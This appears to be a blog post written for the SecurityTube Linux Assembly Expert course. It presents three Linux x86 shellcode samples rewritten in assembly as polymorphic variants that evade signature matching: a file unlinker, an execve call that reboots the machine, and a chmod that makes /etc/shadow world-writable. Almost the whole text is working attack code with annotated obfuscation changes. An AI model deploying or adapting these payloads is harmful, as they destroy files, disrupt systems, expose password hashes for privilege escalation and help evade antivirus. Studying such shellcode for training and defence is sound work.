;Shellcode : linux/x86 File unlinker 18 bytes + file path length
global _start
section .text
_start:

    jmp one

two
    pop ebx
    ;mov al, 0xa ;[ORIGIN]
    mov al, 0x7  ;[NEW]
    add al,  0x5 ;[NEW]
    sub al,  0x2 ;[NEW]
    int 0x80

    mov al, 01
    xor ebx, ebx
    int 0x80

one:
    call two
    file: db 0xaa, 0xbb, 0xcc, 0xdd; <- your file here
Original here

;46 bytes
;Shellcode Linux x86 PUSH reboot()
global _start
section .text
_start:

    xor eax, eax
    push eax
    
    ;push 0x746f6f62; toob [ORIGINAL]
    mov esi, 0x746f6c59   ; [NEW]
    add si,  0x309        ; [NEW]
    mov dword [esp-4], esi; [NEW]
    sub esp, 4            ; [NEW]
    push 0x65722f6e  ; er/n [ORIGINAL]
    
    push 0x6962732f; ibs/[ORIGINAL]

    mov ebx, esp
    push eax; 0

    mov edx, esp
    push ebx

    mov ecx, esp
    mov al, 0xb; [ORIGINAL]
    mov al, 0x6; [NEW]
    add al, 0x5; [NEW] 11 = NR_execve

    int 0x80     
Original here

;Linux/x86 - chmod() 666 /etc/shadow & exit()

;39 bytes shellcode
global _start
section .text
_start:

    push ecx
    mov cx, 0x1b6; = 438
    ;push 0x776f6461; woda [ORIGINAL]
    mov esi, 0x776f6158;   [NEW]
    add si, 0x309 ;  woda  [NEW]
    mov dword [esp-4], esi;[NEW]
    push 0x68732f63; hs/c
    push 0x74652f2f; te//
    mov ebx, esp ;save pointer
    push 0xf     ;chmod
    pop eax      ;15
    int 0x80
    inc eax ;exit
    int 0x80
Original here

SLAE-513

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: